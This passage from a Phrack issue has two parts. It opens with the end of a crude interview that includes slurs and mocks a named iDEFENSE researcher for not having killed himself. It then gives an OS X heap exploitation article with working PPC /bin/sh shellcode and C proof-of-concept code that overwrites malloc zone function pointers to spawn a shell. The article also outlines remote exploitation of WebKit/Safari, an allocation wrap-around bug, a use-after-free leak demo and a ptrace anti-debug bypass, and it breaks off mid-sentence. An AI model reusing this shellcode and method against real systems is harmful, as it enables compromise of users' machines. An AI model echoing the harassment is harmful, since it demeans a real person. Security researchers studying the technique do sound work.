Q: I heard you're the funder of huhushmail ? Can you give us some light
about why Security through Obscurity actually works?
A: One of them, yes. I have to agree, though if I give you any
enlightenment I would be breaking the conecpt.
Q: Can you guess what will be your next answer?
A: No, but I know the question.
Q: Any idea why Phrack shouldn't be renamed Phcrack?
A: Because of current price of the blue mosquitos from Tanzania.
Q: CRUZEIROOOOOOO
A: Chupame la pija, boludo maricon!
Q: Which is the better backdoor? PaX or grsecurity?
A: To be honest, I prefer the iGOBLIN backdooring technique.
Q: What percentage of this interview is inside humor, that the reading
audience will never understand?
A: 95.46008097%. I might get the graphical analysis soon, from the
widely known LRL -- Lance Research Laboratory. ;)
Q: How does it feel to be famous now? How will this Prophile change
your life for the better? For the worse? Where can job recruiters
contact you?
A: I already got 83 phone calls, 68 fax messages, and 3 e-mails.
Invitations from all the fancy elite hacker groups. I might as well
apply to the NSA -- National Symposium of Albatri. I expect to be
capable of decreasing brazilian poverty and DDoS attacks with this, by
increasing the number of defacers that will bow down towards my
fancyness. I am also looking forward to becoming friends with all the
elite hackers and to be recognized as such. I will be beautiful,
famous, loved -- a super hero!
I'm welcome.
Q: DURA?
A: Hooray for Danny! *\o/*
Q: What are your thoughts on Richard Johnson of iDEFENSE?
A: Secure: never being a petit theft, he wears condoms!
Q: Do you have any idea why Richard Johnson of iDEFENSE has not killed
himself yet?
A: Lack of fancyness.
Q: Who is your favorite "hot shot hacker from Texas"?
A: The KoolKrazyKlantastic -- fluffi leona \o/
=---=[ One word comments
[give a 1-word comment to each of the words on the left]
WORD? : WORD!
|=---=[ Any suggestions/comments/flames to the scene and/or specific people?
This bunch of bullshit spat above meant something when done. Fuck its
political meanings and implications, even though I cannot avoid them.
Carry on.
|=---=[ Shoutouts & Greetings
I don't believe in merit. To do is as arbitrary as to not do.
However, I want to HUG some people;
my family, my stag, my limey brother, my tukey, my albatross, my
creyss, my frogs, my dutchies, my hungarian, the only guy who's hotter
than the old apartment, my dot-pa-marine, my waismo, my joto, faggy,
my fancy blackhat white american, my kurdish, my corcho, my sweedish,
my boss, my tempest individuals, my metrosexual linguistic analystic
K-master giant, my iGOBLIN defender grin, my tibu, and AAALLLL my fancy
collection of fancy individuals!
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x05 of 0x14
|=---------------=[ OS X heap exploitation techniques ]=---------------=|
|=----------------------------------------------------------------------=|
|=------------------=[ nemo <nemo@felinemenace.org> ]=------------------=|
--[ Table of contents
1 - Introduction
2 - Overview of the Apple OS X userland heap implementation
2.1 - Environment Variables
2.2 - Zones
2.3 - Blocks
2.4 - Heap initialization
3 - A sample overflow
4 - A real life example (WebKit)
5 - Miscellaneous
5.1 - Wrap-around Bug
5.2 - Double free()'s
5.3 - Beating ptrace()
6 - Conclusion
7 - References
--[ 1 - Introduction.
This article comes as a result of my experiences exploiting a heap
overflow in the default web browser (Safari) on Mac OS X. It assumes a
small amount of knowledge of PPC assembly. A reference for this has
been provided in the references section below. (4). Also, knowledge of
other memory allocators will come in useful, however it's not necessarily
needed. All code in this paper was compiled and tested on Mac OS X -
Tiger (10.4) running on PPC32 (power pc) architecture.
--[ 2 - Overview of the Apple OS X userland heap implementation.
The malloc() implementation found in Apple's Libc-391 and earlier (at the
time of writing this) is written by Bertrand Serlet. It is a relatively
complex memory allocator made up of memory "zones", which are variable
size portions of virtual memory, and "blocks", which are allocated from
within these zones. It is possible to have multiple zones, however most
applications tend to stick to just using the default zone.
So far this memory allocator is used in all releases of OS X so far. It
is also used by the Open Darwin project [8] on x86 architecture, however
this isn't covered in the paper.
The source for the implementation of the Apple malloc() is available from
[6]. (The current version of the source at the time of writing this is
10.4.1).
To access it you need to be a member of the ADC, which is free to sign up.
(or if you can't be bothered signing up use the login/password from
Bug Me Not [7] ;)
----[ 2.1 - Environment Variables.
A series of environment variables can be set, to modify the behavior of
the memory allocation functions. These can be seen by setting the
"MallocHelp" variable, and then calling the malloc() function. They are
also shown in the malloc() manpage.
We will now look at the variables which are of the most use to us when
exploiting an overflow.
[ MallocStackLogging ] -:- When this variable is set a record is kept of
all the malloc operations that occur. With this variable set the "leaks"
tool can be used to search a processes memory for malloc()'ed buffers
which are unreferenced.
[ MallocStackLoggingNoCompact ] -:- When this variable is set, the record
of malloc operation is kept in a manner in which the "malloc_history"
tool is able to parse. The malloc_history tool is used to list the
allocations and deallocations which have been performed by the process.
[ MallocPreScribble ] -:- This environment variable, can be used to fill
memory which has been allocated with 0xaa. This can be useful to easily
see where buffers are located in memory. It can also be useful when
scripting gdb to investigate the heap.
[ MallocScribble ] -:- This variable is used to fill de-allocated
memory with 0x55. This, like MallocPreScribble is useful for
making it easier to inspect the memory layout. Also this will make
a program more likely to crash when it's accessing data it's not supposed
to.
[ MallocBadFreeAbort ] -:- This variable causes a SIGABRT to be sent to
the program when a pointer is passed to free() which is not listed as
allocated. This can be useful to halt execution at the exact point an
error occurred in order to assess what has happened.
NOTE: The "heap" tool can be used to inspect the current heap of a
process the Zones are displayed as well as any objects which are
currently allocated. This tool can be used without setting an
environment variable.
----[ 2.2 - Zones.
A single zone can be thought of a single heap. When the zone is destroyed
all the blocks allocated within it are free()'ed. Zones allow blocks with
similar attributes to be placed together. The zone itself is described by
a malloc_zone_t struct (defined in /usr/include/malloc.h) which is shown
below:
[malloc_zone_t struct]
typedef struct _malloc_zone_t {
/* Only zone implementors should depend on the layout of this
structure; Regular callers should use the access functions below */
void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */
void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */
size_t (*size)(struct _malloc_zone_t *zone, const void *ptr);
void *(*malloc)(struct _malloc_zone_t *zone, size_t size);
void *(*calloc)(struct _malloc_zone_t *zone, size_t num_items,
size_t size);
void *(*valloc)(struct _malloc_zone_t *zone, size_t size);
void (*free)(struct _malloc_zone_t *zone, void *ptr);
void *(*realloc)(struct _malloc_zone_t *zone, void *ptr,
size_t size);
void (*destroy)(struct _malloc_zone_t *zone);
const char *zone_name;
/* Optional batch callbacks; these may be NULL */
unsigned (*batch_malloc)(struct _malloc_zone_t *zone, size_t size,
void **results, unsigned num_requested);
void (*batch_free)(struct _malloc_zone_t *zone,
void **to_be_freed, unsigned num_to_be_freed);
struct malloc_introspection_t *introspect;
unsigned version;
} malloc_zone_t;
(Well, technically zones are scalable szone_t structs, however the first
element of a szone_t struct consists of a malloc_zone_t struct. This
struct is the most important for us to be familiar with to exploit heap
bugs using the method shown in this paper.)
As you can see, the zone struct contains function pointers for each of the
memory allocation / deallocation functions. This should give you a
pretty good idea of how we can control execution after an overflow.
Most of these functions are pretty self explanatory, the malloc,calloc,
valloc free, and realloc function pointers perform the same
functionality they do on Linux/BSD.
The size function is used to return the size of the memory allocated. The
destroy() function is used to destroy the entire zone and free all memory
allocated in it.
The batch_malloc and batch_free functions to the best of my understanding
are used to allocate (or deallocate) several blocks of the same size.
NOTE:
The malloc_good_size() function is used to return the size of the buffer
after rounding has occurred. An interesting note about this function is
that it contains the same wrap mentioned in 5.1.
printf("0x%x\n",malloc_good_size(0xffffffff));
Will print 0x1000 on Mac OS X 10.4 (Tiger).
----[ 2.3 - Blocks.
Allocation of blocks occurs in different ways depending on the size of the
memory required. The size of all blocks allocated is always paragraph
aligned (a multiple of 16). Therefore an allocation of less than 16 will
always return 16, an allocation of 20 will return 32, etc.
The szone_t struct contains two pointers, for tiny and small block
allocation. These are shown below:
tiny_region_t *tiny_regions;
small_region_t *small_regions;
Memory allocations which are less than around 500 bytes in size
fall into the "tiny" range. These allocations are allocated from a
pool of vm_allocate()'ed regions of memory. Each of these regions
consists of a 1MB, (in 32-bit mode), or 2MB, (in 64-bit mode) heap.
Following this is some meta-data about the region. Regions are ordered
by ascending block size. When memory is deallocated it is added back to
the pool.
Free blocks contain the following meta-data:
(all fields are sizeof(void *) in size, except for "size" which is
sizeof(u_short)). Tiny sized buffers are instead aligned to 0x10 bytes)
- checksum
- previous
- next
- size
The size field contains the quantum count for the region. A quantum represents
the size of the allocated blocks of memory within the region.
Allocations of which size falls in the range between 500 bytes and four
virtual pages in size (0x4000) fall into the "small" category.
Memory allocations of "small" range sized blocks, are allocated from a
pool of small regions, pointed to by the "small_regions" pointer in the
szone_t struct. Again this memory is pre-allocated with the vm_allocate()
function. Each "small" region consists of an 8MB heap, followed by the
same meta-data as tiny regions.
Tiny and small allocations are not always guaranteed to be page aligned.
If a block is allocated which is less than a single virtual page size then
obviously the block cannot be aligned to a page.
Large block allocations (allocations over four vm pages in size), are
handled quite differently to the small and tiny blocks. When a large
block is requested, the malloc() routine uses vm_allocate() to obtain the
memory required. Larger memory allocations occur in the higher memory of
the heap. This is useful in the "destroying the heap" technique, outlined
in this paper. Large blocks of memory are allocated in multiples of 4096.
This is the size of a virtual memory page. Because of this, large memory
allocations are always guaranteed to be page-aligned.
----[ 2.4 - Heap initialization.
As you can see below, the malloc() function is merely a wrapper around
the malloc_zone_malloc() function.
void *malloc(size_t size)
{
void *retval;
retval = malloc_zone_malloc(inline_malloc_default_zone(), size);
if (retval == NULL)
{
errno = ENOMEM;
}
return retval;
}
It uses the inline_malloc_default_zone() function to pass the appropriate
zone to malloc_zone_malloc(). If malloc() is being called for the first
time the inline_malloc_default_zone() function calls _malloc_initialize()
in order to create the initial default malloc zone.
The malloc_create_zone() function is called with the values (0,0) being
passed in as as the start_size and flags parameters.
After this the environment variables are read in (any beginning with
"Malloc"), and parsed in order to set the appropriate flags.
It then calls the create_scalable_zone() function in the scalable_malloc.c
file. This function is really responsible for creating the szone_t struct.
It uses the allocate_pages() function as shown below.
szone = allocate_pages(NULL, SMALL_REGION_SIZE, SMALL_BLOCKS_ALIGN, 0, \
VM_MAKE_TAG(VM_MEMORY_MALLOC));
This, in turn, uses the mach_vm_allocate() mach syscall to allocate the
required memory to store the s_zone_t default struct.
-[Summary]:
For the technique contained within this paper, the most important things
to note is that a szone_t struct is set up in memory. The struct contains
several function pointers which are used to store the address of each of
the appropriate allocation and deallocation functions. When a block of
memory is allocated which falls into the "large" category, the
vm_allocate() mach syscall is used to allocate the memory for this.
--[ 3 - A Sample Overflow
Before we look at how to exploit a heap overflow, we will first analyze
how the initial zone struct is laid out in the memory of a running
process.
To do this we will use gdb to debug a small sample program. This is
shown below:
-[nemo@gir:~]$ cat > mtst1.c
#include <stdlib.h>
int main(int ac, char **av)
{
char *a = malloc(10);
__asm("trap");
char *b = malloc(10);
}
-[nemo@gir:~]$ gcc mtst1.c -o mtst1
-[nemo@gir:~]$ gdb ./mtst1
GNU gdb 6.1-20040303 (Apple version gdb-413)
(gdb) r
Starting program: /Users/nemo/mtst1
Reading symbols for shared libraries . done
Once we receive a SIGTRAP signal and return to the gdb command shell we
can then use the command shown below to locate our initial szone_t
structure in the process memory.
(gdb) x/x &initial_malloc_zones
0xa0010414 <initial_malloc_zones>: 0x01800000
This value, as expected inside gdb, is shown to be 0x01800000.
If we dump memory at this location, we can see each of the fields in the
_malloc_zone_t_ struct as expected.
NOTE: Output reformatted for more clarity.
(gdb) x/x (long*) initial_malloc_zones
0x1800000: 0x00000000 // Reserved1.
0x1800004: 0x00000000 // Reserved2.
0x1800008: 0x90005e0c // size() pointer.
0x180000c: 0x90003abc // malloc() pointer.
0x1800010: 0x90008bc4 // calloc() pointer.
0x1800014: 0x9004a9f8 // valloc() pointer.
0x1800018: 0x900060ac // free() pointer.
0x180001c: 0x90017f90 // realloc() pointer.
0x1800020: 0x9010efb8 // destroy() pointer.
0x1800024: 0x00300000 // Zone Name
//("DefaultMallocZone").
0x1800028: 0x9010dbe8 // batch_malloc() pointer.
0x180002c: 0x9010e848 // batch_free() pointer.
In this struct we can see each of the function pointers which are called
for each of the memory allocation/deallocation functions performed using
the default zone. As well as a pointer to the name of the zone, which can
be useful for debugging.
If we change the malloc() function pointer, and continue our sample
program (shown below) we can see that the second call to malloc() results
in a jump to the specified value. (after instruction alignment).
(gdb) set *0x180000c = 0xdeadbeef
(gdb) jump *($pc + 4)
Continuing at 0x2cf8.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec
0xdeadbeec in ?? ()
(gdb)
But is it really feasible to write all the way to the address 0x1800000?
(or 0x2800000 outside of gdb). We will look into this now.
First we will check the addresses various sized memory allocations are
given. The location of each buffer is dependant on whether the
allocation size falls into one of the various sized bins mentioned
earlier (tiny, small or large).
To test the location of each of these we can simply compile and run the
following small c program as shown:
-[nemo@gir:~]$ cat > mtst2.c
#include <stdio.h>
#include <stdlib.h>
int main(int ac, char **av)
{
extern *malloc_zones;
printf("initial_malloc_zones @ 0x%x\n",*malloc_zones);
printf("tiny: %p\n",malloc(22));
printf("small: %p\n",malloc(500));
printf("large: %p\n",malloc(0xffffffff));
return 0;
}
-[nemo@gir:~]$ gcc mtst2.c -o mtst2
-[nemo@gir:~]$ ./mtst2
initial_malloc_zones @ 0x2800000
tiny: 0x500160
small: 0x2800600
large: 0x26000
From the output of this program we can see that it is only possible to
write to the initial_malloc_zones struct from a "tiny" or " large"
buffer. Also, in order to overwrite the function pointers contained within
this struct we need to write a considerable amount of data completely
destroying sections of the zone. Thankfully many situations exist in
typical software which allow these criteria to be met. This is discussed
in the final section of this paper.
Now we understand the layout of the heap a little better, we can use a
small sample program to overwrite the function pointers contained in the
struct to get a shell.
The following program allocates a 'tiny' buffer of 22 bytes. It then uses
memset() to write 'A's all the way to the pointer for malloc() in the
zone struct, before calling malloc().
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int ac, char **av)
{
extern *malloc_zones;
char *tmp,*tinyp = malloc(22);
printf("[+] tinyp is @ %p\n",tinyp);
printf("[+] initial_malloc_zones is @ %p\n", *malloc_zones);
printf("[+] Copying 0x%x bytes.\n",
(((char *)*malloc_zones + 16) - (char *)tinyp));
memset(tinyp,'A', (int)(((char *)*malloc_zones + 16) - (char *)tinyp));
tmp = malloc(0xdeadbeef);
return 0;
}
However when we compile and run this program, an EXC_BAD_ACCESS signal is
received.
(gdb) r
Starting program: /Users/nemo/mtst3
Reading symbols for shared libraries . done
[+] tinyp is @ 0x300120
[+] initial_malloc_zones is @ 0x1800000
[+] Copying 0x14ffef0 bytes.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00405000
0xffff9068 in ___memset_pattern ()
This is due to the fact that, in between the tinyp pointer and the malloc
function pointer we are trying to overwrite there is some unmapped memory.
In order to get past this we can use the fact that blocks of memory
allocated which fall into the "large" category are allocated using the
mach vm_allocate() syscall.
If we can get enough memory to be allocated in the large classification,
before the overflow occurs we should have a clear path to the pointer.
To illustrate this point, we can use the following code:
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <string.h>
char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";
extern *malloc_zones;
int main(int ac, char **av)
{
char *tmp, *tmpr;
int a=0 , *addr;
while ((tmpr = malloc(0xffffffff)) <= (char *)*malloc_zones);
// small buffer
addr = malloc(22);
printf("[+] malloc_zones (first zone) @ 0x%x\n", *malloc_zones);
printf("[+] addr @ 0x%x\n",addr);
if ((unsigned int) addr < *malloc_zones)
{
printf("[+] addr + %u = 0x%x\n",
*malloc_zones - (int) addr, *malloc_zones);
exit(1);
}
printf("[+] Using shellcode @ 0x%x\n",&shellcode);
for (a = 0;
a <= ((*malloc_zones - (int) addr) + sizeof(malloc_zone_t)) / 4;
a++)
addr[a] = (int) &shellcode[0];
printf("[+] finished memcpy()\n");
tmp = malloc(5); // execve()
}
This code allocates enough "large" blocks of memory (0xffffffff) with
which to plow a clear path to the function pointers. It then copies
the address of the shellcode into memory all the way through the zone
before overwriting the function pointers in the szone_t struct. Finally a
call to malloc() is made in order to trigger the execution of the
shellcode.
As you can see below, this code function as we'd expect and our
shellcode is executed.
-[nemo@gir:~]$ ./heaptst
[+] malloc_zones (first zone) @ 0x2800000
[+] addr @ 0x500120
[+] addr + 36699872 = 0x2800000
[+] Using shellcode @ 0x3014
[+] finished memcpy()
sh-2.05b$
This method has been tested on Apple's OS X version 10.4.1 (Tiger).
--[ 4 - A Real Life Example
The default web browser on OS X (Safari) as well as the mail client
(Mail.app), Dashboard and almost every other application on OS X which
requires web parsing functionality achieve this through a library
which Apple call "WebKit". (2)
This library contains many bugs, many of which are exploitable using this
technique. Particular attention should be payed to the code which renders
<TABLE></TABLE> blocks ;)
Due to the nature of HTML pages an attacker is presented with
opportunities to control the heap in a variety of ways before actually
triggering the exploit. In order to use the technique described in this
paper to exploit these bugs we can craft some HTML code, or an image
file, to perform many large allocations and therefore cleaving a path
to our function pointers. We can then trigger one of the numerous
overflows to write the address of our shellcode into the function
pointers before waiting for a shell to be spawned.
One of the bugs which i have exploited using this particular method
involves an unchecked length being used to allocate and fill an object in
memory with null bytes (\x00).
If we manage to calculate the write so that it stops mid way through one
of our function pointers in the szone_t struct, we can effectively
truncate the pointer causing execution to jump elsewhere.
The first step to exploiting this bug, is to fire up the debugger (gdb)
and look at what options are available to us.
Once we have Safari loaded up in our debugger, the first thing we need
to check for the exploit to succeed is that we have a clear path to the
initial_malloc_zones struct. To do this in gdb we can put a breakpoint
on the return statement in the malloc() function.
We use the command "disas malloc" to view the assembly listing for the
malloc function. The end of this listing is shown below:
.....
0x900039dc <malloc+1464>: lwz r0,8(r1)
0x900039e0 <malloc+1468>: lmw r24,-32(r1)
0x900039e4 <malloc+1472>: lwz r11,4(r1)
0x900039e8 <malloc+1476>: mtlr r0
0x900039ec <malloc+1480>: .long 0x7d708120
0x900039f0 <malloc+1484>: blr
0x900039f4 <malloc+1488>: .long 0x0
The "blr" instruction shown at line 0x900039f0 is the "branch to link
register" instruction. This instruction is used to return from malloc().
Functions in OS X on PPC architecture pass their return value back to the
calling function in the "r3" register. In order to make sure that the
malloc()'ed addresses have reached the address of our zone struct we can
put a breakpoint on this instruction, and output the value which was
returned.
We can do this with the gdb commands shown below.
(gdb) break *0x900039f0
Breakpoint 1 at 0x900039f0
(gdb) commands
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>i r r3
>cont
>end
We can now continue execution and receive a running status of all
allocations which occur in our program. This way we can see when our
target is reached.
The "heap" tool can also be used to see the sizes and numbers of each
allocation.
There are several methods which can be used to set up the heap
correctly for exploitation. One method, suggested by andrewg, is to use a
.png image in order to control the sizes of allocations which occur.
Apparently this method was learn from zen-parse when exploiting a
mozilla bug in the past.
The method which i have used is to create an HTML page which repeatedly
triggers the overflow with various sizes. After playing around with
this for a while, it was possible to regularly allocate enough memory
for the overflow to occur.
Once the limit is reached, it is possible to trigger the overflow in a
way which overwrites the first few bytes in any of the pointers in the
szone_t struct.
Because of the big endian nature of PPC architecture (by default. it can
be changed.) the first few bytes in the pointer make all the difference
and our truncated pointer will now point to the .TEXT segment.
The following gdb output shows our initial_malloc_zones struct after the
heap has been smashed.
(gdb) x/x (long )*&initial_malloc_zones
0x1800000: 0x00000000 // Reserved1.
(gdb)
0x1800004: 0x00000000 // Reserved2.
(gdb)
0x1800008: 0x00000000 // size() pointer.
(gdb)
0x180000c: 0x00003abc // malloc() pointer.
(gdb) ^^ smash stopped here.
0x1800010: 0x90008bc4
As you can see, the malloc() pointer is now pointing to somewhere in the
.TEXT segment, and the next call to malloc() will take us there. We can
use gdb to view the instructions at this address. As you can see in the
following example.
(gdb) x/2i 0x00003abc
0x3abc: lwz r4,0(r31)
0x3ac0: bl 0xd686c <dyld_stub_objc_msgSend>
Here we can see that the r31 register must be a valid memory address for
a start following this the dyld_stub_objc_msgSend() function is called
using the "bl" (branch updating link register) instruction. Again we can
use gdb to view the instructions in this function.
(gdb) x/4i 0xd686c
0xd686c <dyld_stub_objc_msgSend>: lis r11,14
0xd6870 <dyld_stub_objc_msgSend+4>: lwzu r12,-31732(r11)
0xd6874 <dyld_stub_objc_msgSend+8>: mtctr r12
0xd6878 <dyld_stub_objc_msgSend+12>: bctr
We can see in these instructions that the r11 register must be a valid
memory address. Other than that the final two instructions (0xd6874
and 0xd6878) move the value in the r12 register to the control
register, before branching to it. This is the equivalent of jumping to
a function pointer in r12. Amazingly this code construct is exactly
what we need.
So all that is needed to exploit this vulnerability now, is to find
somewhere in the binary where the r12 register is controlled by the user,
directly before the malloc function is called. Although this isn't
terribly easy to find, it does exist.
However, if this code is not reached before one of the pointers
contained on the (now smashed) heap is used the program will most
likely crash before we are given a chance to steal execution flow. Because
of this fact, and because of the difficult nature of predicting the exact
values with which to smash the heap, exploiting this vulnerability can be
very unreliable, however it definitely can be done.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec
0xdeadbeec in ?? ()
(gdb)
An exploit for this vulnerability means that a crafted email or website
is all that is needed to remotely exploit an OS X user.
Apple have been contacted about a couple of these bugs and are currently
in the process of fixing them.
The WebKit library is open source and available for download, apparently
it won't be too long before Nokia phones use this library for their web
applications. [5]
--[ 5 - Miscellaneous
This section shows a couple of situations / observations regarding the
memory allocator which did not fit in to any of the other sections.
----[ 5.1 - Wrap-around Bug.
The examples in this paper allocated the value 0xffffffff. However
this amount is not technically feasible for a malloc implementation
to allocate each time.
The reason this works without failure is due to a subtle bug which
exists in the Darwin kernel's vm_allocate() function.
This function attempts to round the desired size it up to the closest
page aligned value. However it accomplishes this by using the
vm_map_round_page() macro (shown below.)
#define PAGE_MASK (PAGE_SIZE - 1)
#define PAGE_SIZE vm_page_size
#define vm_map_round_page(x) (((vm_map_offset_t)(x) + \
PAGE_MASK) & ~((signed)PAGE_MASK))
Here we can see that the page size minus one is simply added to the value
which is to be rounded before being bitwise AND'ed with the reverse of
the PAGE_MASK.
The effect of this macro when rounding large values can be illustrated
using the following code:
#include <stdio.h>
#define PAGEMASK 0xfff
#define vm_map_round_page(x) ((x + PAGEMASK) & ~PAGEMASK)
int main(int ac, char **av)
{
printf("0x%x\n",vm_map_round_page(0xffffffff));
}
When run (below) it can be seen that the value 0xffffffff will be rounded
to 0.
-[nemo@gir:~]$ ./rounding
0x0
Directly below the rounding in vm_allocate() is performed there is a check
to make sure the rounded size is not zero. If it is zero then the size of
a page is added to it. Leaving only a single page allocated.
map_size = vm_map_round_page(size);
if (map_addr == 0)
map_addr += PAGE_SIZE;
The code below demonstrates the effect of this on two calls to malloc().
#include <stdio.h>
#include <stdlib.h>
int main(int ac, char **av)
{
char *a = malloc(0xffffffff);
char *b = malloc(0xffffffff);
printf("B - A: 0x%x\n", b - a);
return 0;
}
When this program is compiled and run (below) we can see that although the
programmer believes he/she now has a 4GB buffer only a single page has
been allocated.
-[nemo@gir:~]$ ./ovrflw
B - A: 0x1000
This means that most situations where a user specified length can be
passed to the malloc() function, before being used to copy data, are
exploitable.
This bug was pointed out to me by duke.
----[ 5.2 - Double free().
Bertrand's allocator keeps track of the addresses which are currently
allocated. When a buffer is free()'ed the find_registered_zone() function
is used to make sure that the address which is requested to be free()'ed
exists in one of the zones. This check is shown below.
void free(void *ptr)
{
malloc_zone_t *zone;
if (!ptr) return;
zone = find_registered_zone(ptr, NULL);
if (zone)
{
malloc_zone_free(zone, ptr);
}
else
{
malloc_printf("*** Deallocation of a pointer not malloced: %p; "
"This could be a double free(), or free() called "
"with the middle of an allocated block; "
"Try setting environment variable MallocHelp to see "
"tools that help to debug\n", ptr);
if (malloc_free_abort) abort();
}
}
This means that an address free()'ed twice (double free) will not
actually be free()'ed the second time. Making it hard to exploit
double free()'s in this way.
However, when a buffer is allocated of the same size as the previous
buffer and free()'ed, but the pointer to the free()'ed buffer still
exists and is used an exploitable condition can occur.
The small sample program below shows a pointer being allocated and
free()ed and then a second pointer being allocated of the same size. Then
free()ed twice.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int ac, char **av)
{
char *b,*a = malloc(11);
printf("a: %p\n",a);
free(a);
b = malloc(11);
printf("b: %p\n",b);
free(b);
printf("b: %p\n",a);
free(b);
printf("a: %p\n",a);
return 0;
}
When we compile and run it, as shown below, we can see that pointer "a"
still points to the same address as "b", even after it was free()'ed.
If this condition occurs and we are able to write to,or read from,
pointer "a", we may be able to exploit this for an info leak, or gain
control of execution.
-[nemo@gir:~]$ ./dfr
a: 0x500120
b: 0x500120
b: 0x500120
tst(3575) malloc: *** error for object 0x500120: double free
tst(3575) malloc: *** set a breakpoint in szone_error to debug
a: 0x500120
I have written a small sample program to explain more clearly how this
works. The code below reads a username and password from the user.
It then compares password to one stored in the file ".skrt". If this
password is the same, the secret code is revealed. Otherwise an error is
printed informing the user that the password was incorrect.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PASSWDFILE ".skrt"
int main(int ac, char **av)
{
char *user = malloc(128 + 1);
char *p,*pass = "" ,*skrt = NULL;
FILE *fp;
printf("login: ");
fgets(user,128,stdin);
if (p = strchr(user,'\n'))
*p = '\x00';
// If the username contains "admin_", exit.
if(strstr(user,"admin_"))
{
printf("Admin user not allowed!\n");
free(user);
fflush(stdin);
goto exit;
}
pass = getpass("Enter your password: ");
exit:
if ((fp = fopen(PASSWDFILE,"r")) == NULL)
{
printf("Error loading password file.\n");
exit(1);
}
skrt = malloc(128 + 1);
if (!fgets(skrt,128,fp))
{
exit(1);
}
if (p = strchr(skrt,'\n'))
*p = '\x00';
if (!strcmp(pass,skrt))
{
printf("The combination is 2C,4B,5C\n");
}
else
{
printf("Password Rejected for %s, please try again\n");
user);
}
fclose(fp);
return 0;
}
When we compile the program and enter an incorrect password we see the
following message:
-[nemo@gir:~]$ ./dfree
login: nemo
Enter your password:
Password Rejected for nemo, please try again.
However, if the "admin_" string is detected in the string, the user
buffer is free()'ed. The skrt buffer is then returned from malloc()
pointing to the same allocated block of memory as the user pointer.
This would normally be fine however the user buffer is used in the
printf() function call at the end of the function. Because the user
pointer still points to the same memory as skrt this causes an
info-leak and the secret password is printed, as seen below:
-[nemo@gir:~]$ ./dfree
login: admin_nemo
Admin user not allowed!
Password Rejected for secret_password, please try again.
We can then use this password to get the combination:
-[nemo@gir:~]$ ./dfree
login: nemo
Enter your password:
The combination is 2C,4B,5C
----[ 5.3 - Beating ptrace()
Safari uses the ptrace() syscall to try and stop evil hackers from
debugging their proprietary code. ;). The extract from the
man-page below shows a ptrace() flag which can be used to stop people
being able to debug your code.
PT_DENY_ATTACH
This request is the other operation used by the traced
process; it allows a process that is not currently being
traced to deny future traces by its parent. All other
arguments are ignored. If the process is currently being
traced, it will exit with the exit status of ENOTSUP; oth-
erwise, it sets a flag that denies future traces. An
attempt by the parent to trace a process which has set this
flag will result in a segmentation violation in the parent.
There are a couple of ways to get around this check (which i am aware of).
The first of these is to patch your kernel to stop the PT_DENY_ATTACH call
from doing anything. This is probably the best way, however involves the
most effort.
The method which we will use now to look at Safari is to start up gdb and
put a breakpoint on the ptrace() function. This is shown below:
-[nemo@gir:~]$ gdb /Applications/Safari.app/Contents/MacOS/Safari
GNU gdb 6.1-20040303 (Apple version gdb-413)
(gdb) break ptrace
Breakpoint 1 at 0x900541f4
We then run the program, and wait until the breakpoint is hit. When our
breakpoint is triggered, we use the x/10i $pc command (below) to view the
next 10 instructions in the function.
(gdb) r
Starting program: /Applications/Safari.app/Contents/MacOS/Safari
Reading symbols for shared libraries .................... done
Breakpoint 1, 0x900541f4 in ptrace ()
(gdb) x/10i $pc
0x900541f4 <ptrace+20>: addis r8,r8,4091
0x900541f8 <ptrace+24>: lwz r8,7860(r8)
0x900541fc <ptrace+28>: stw r7,0(r8)
0x90054200 <ptrace+32>: li r0,26
0x90054204 <ptrace+36>: sc
0x90054208 <ptrace+40>: b 0x90054210 <ptrace+48>
0x9005420c <ptrace+44>: b 0x90054230 <ptrace+80>
0x90054210 <ptrace+48>: mflr r0
0x90054214 <ptrace+52>: bcl- 20,4*cr7+so,0x90054218
0x90054218 <ptrace+56>: mflr r12
At line 0x90054204 we can see the instruction "sc" being executed. This
is the instruction which calls the syscall itself. This is similar to
int 0x80 on a Linux platform, or sysenter/int 0x2e in windows.
In order to stop the ptrace() syscall from occurring we can simply
replace this instruction in memory with a nop (no operation)
instruction. This way the syscall will never take place and we can
debug without any problems.
To patch this instruction in gdb we can use the command shown below and
continue execution.
(gdb) set *0x90054204 = 0x60000000
(gdb) continue
--[ 6 - Conclusion
Although the technique which was described in this paper seem rather
specific, the technique is still valid and exploitation of heap bugs in
this way is definitely possible.
When you are able to exploit a bug in this way you can quickly turn a
complicated bug into the equivalent of a simple stack smash (3).
At the time of writing this paper, no protection schemes for the heap
exist for Mac OS X which would stop this technique from working. (To my
knowledge).
On a side note, if anyone works out why the initial_malloc_zones struct is
always located at 0x2800000 outside of gdb and 0x1800000 inside i would
appreciate it if you let me know.
I'd like to say thanks to my boss Swaraj from Suresec LTD for giving me
time to research the things which i enjoy so much.
I'd also like to say hi to all the guys at Feline Menace, as well as
pulltheplug.org/#social and the Ruxcon team. I'd also like to thank the
Chelsea for providing the AU felinemenace guys with buckets of corona to
